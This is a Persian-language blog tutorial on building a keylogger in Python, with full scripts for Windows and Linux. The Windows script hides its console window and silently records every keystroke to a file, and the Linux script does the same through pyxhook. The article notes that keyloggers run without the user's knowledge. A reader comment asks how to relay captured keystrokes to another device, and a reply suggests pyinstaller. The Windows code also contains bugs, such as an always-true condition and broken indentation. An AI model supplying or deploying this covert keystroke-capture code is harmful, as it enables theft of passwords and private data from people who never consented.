ساخت کی لاگر در پایتون — راهنمای کاربردی

۱۲۷۳ بازدید
آخرین به‌روزرسانی: ۲۷ اردیبهشت ۱۴۰۲
زمان مطالعه: ۳ دقیقه
دانلود PDF مقاله
ساخت کی لاگر در پایتون — راهنمای کاربردی

در این مطلب، چگونگی ساخت کی لاگر در پایتون آموزش داده شده است. «کی‌لاگر» (Keylogger) به نرم‌افزاری گفته می‌شود که کلیدهای فشرده شده روی صفحه کلید را ذخیره می‌کند. به این کار، «ثبت صفحه کلید» (Keyboard Capturing) نیز گفته می‌شود. کی‌لاگرها معمولا کار خود را به صورت پنهانی انجام می‌دهند و فردی که با کامپیوتر کار می‌کند، از اینکه یک کی‌لاگر در حال ذخیره‌سازی کلیدهای فشرده شده توسط او است، خبر ندارد.

997696

این برنامه‌های کامپیوتری برای کار روی نرم‌افزارهای کامپیوتر هدف طراحی شده‌اند. کی‌لاگرها در واحدهای IT سازمان‌ها برای خطایای مسائل فنی درون کامپیوترها و همچنین، در شبکه‌ها استفاده می‌شوند. خانواده‌ها و کسب و کارها از کی‌لاگرها به صورت قانونی برای نظارت بر استفاده از شبکه بدون اطلاع مستقیم کاربرها بهره می‌برند. اگرچه، افراد مخرب می‌توانند از کی‌لاگرها روی کامپیوترهای عمومی برای سرقت گذرواژه‌ها یا اطلاعات کارت‌های اعتباری استفاده می‌کنند. به طور کلی، کی‌لاگرها را می‌توان برای مقاصد خوب و یا بد استفاده کرد. در اینجا، هدف از بیان روش ساخت کی لاگر در پایتون، استفاده از آن برای اهداف مثبتی مانند خطایابی و چنین مواردی است؛ بدیهی است عواقب هر گونه استفاده دیگر از این مطلب بر عهده کاربر بوده و مجله فرادرس در قبال آن مسئولیتی را نمی‌پذیرد. در این مطلب، چگونگی ساخت کی لاگر در پایتون برای سیستم عامل‌های ویندوز و لینوکس بیان شده است. برای این کار باید کتابخانه‌های پایتون زیر را دانلود کرد.

  • pywin32 [+]
  • ‘pyhook [+]

ساخت کی لاگر در پایتون برای سیستم‌عامل ویندوز

در ادامه، کد لازم برای ساخت کی‌لاگر در پایتون برای سیستم‌عامل ویندوز ارائه شده است.

1# Python code for keylogger 
2# to be used in windows 
3import win32api 
4import win32console 
5import win32gui 
6import pythoncom, pyHook 
7  
8win = win32console.GetConsoleWindow() 
9win32gui.ShowWindow(win, 0) 
10  
11def OnKeyboardEvent(event): 
12    if event.Ascii==5: 
13        _exit(1) 
14    if event.Ascii !=0 or 8: 
15    #open output.txt to read current keystrokes 
16        f = open('c:\output.txt', 'r+') 
17        buffer = f.read() 
18        f.close() 
19    # open output.txt to write current + new keystrokes 
20        f = open('c:\output.txt', 'w') 
21        keylogs = chr(event.Ascii) 
22        if event.Ascii == 13: 
23        keylogs = '/n'
24        buffer += keylogs 
25        f.write(buffer) 
26        f.close() 
27# create a hook manager object 
28hm = pyHook.HookManager() 
29hm.KeyDown = OnKeyboardEvent 
30# set the hook 
31hm.HookKeyboard() 
32# wait forever 
33pythoncom.PumpMessages()

اکنون، باید فایل در ویندوز، در مسیر C:\‎ و با عنوان Keylogger.py ذخیره و پس از آن، فایل پایتون اجرا شود. خروجی قطعه کد بالا، به این صورت است که کی‌لاگر در پس‌زمینه شروع به کار می‌کند و همه داده‌ها را روی فایل لوگ «“c:\output.txt» ذخیره می‌کند.

ساخت کی لاگر در پایتون برای سیستم‌عامل لینوکس

pyxhook نیازمند آن است که python-xlib نصب شده باشد.

در صورتی که این مورد روی سیستم کاربر نصب نباشد، باید آن را با استفاده از دستور زیر نصب کرد.

1sudo apt-get install python-xlib

کتابخانه pyxhook را می‌توان از اینجا [+] دانلود کرد.

1# Python code for keylogger 
2# to be used in linux 
3import os 
4import pyxhook 
5  
6# This tells the keylogger where the log file will go. 
7# You can set the file path as an environment variable ('pylogger_file'), 
8# or use the default ~/Desktop/file.log 
9log_file = os.environ.get( 
10    'pylogger_file', 
11    os.path.expanduser('~/Desktop/file.log') 
12) 
13# Allow setting the cancel key from environment args, Default: ` 
14cancel_key = ord( 
15    os.environ.get( 
16        'pylogger_cancel', 
17        '`'
18    )[0] 
19) 
20  
21# Allow clearing the log file on start, if pylogger_clean is defined. 
22if os.environ.get('pylogger_clean', None) is not None: 
23    try: 
24        os.remove(log_file) 
25    except EnvironmentError: 
26       # File does not exist, or no permissions. 
27        pass
28  
29#creating key pressing event and saving it into log file 
30def OnKeyPress(event): 
31    with open(log_file, 'a') as f: 
32        f.write('{}\n'.format(event.Key)) 
33  
34# create a hook manager object 
35new_hook = pyxhook.HookManager() 
36new_hook.KeyDown = OnKeyPress 
37# set the hook 
38new_hook.HookKeyboard() 
39try: 
40    new_hook.start()         # start the hook 
41except KeyboardInterrupt: 
42    # User cancelled from command line. 
43    pass
44except Exception as ex: 
45    # Write exceptions to the log file, for analysis later. 
46    msg = 'Error while catching events:\n  {}'.format(ex) 
47    pyxhook.print_err(msg) 
48    with open(log_file, 'a') as f: 
49        f.write('\n{}'.format(msg)) 

خروجی قطعه کد بالا به این صورت است که کی‌لاگر در پس‌زمینه شروع به فعالیت و همه داده‌ها را در فایل file.log در مسیر /home/akash/Desktop ذخیره می‌کند. البته، نام کاربری (که در اینجا aksh است) برای سیستم‌های مختلف متفاوت است و هر فردی، باید  آدرس پوشه کاری خودش را در کد وارد کند.

اگر نوشته بالا برای شما مفید بوده است، آموزش‌های زیر نیز به شما پیشنهاد می‌شوند:

^^

بر اساس رای ۸ نفر
آیا این مطلب برای شما مفید بود؟
اگر بازخوردی درباره این مطلب دارید یا پرسشی دارید که بدون پاسخ مانده است، آن را از طریق بخش نظرات مطرح کنید.
منابع:
GeeksforGeeks
۲ دیدگاه برای «ساخت کی لاگر در پایتون — راهنمای کاربردی»

سلام
چجوری میشه به اشتراک گذاشت مثلا تو گوشی کار کنه به لپ تاپ من انتقال پیدا کنه

با استفاده از فریم ورکی به اسم pyinstaller

نظر شما چیست؟

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *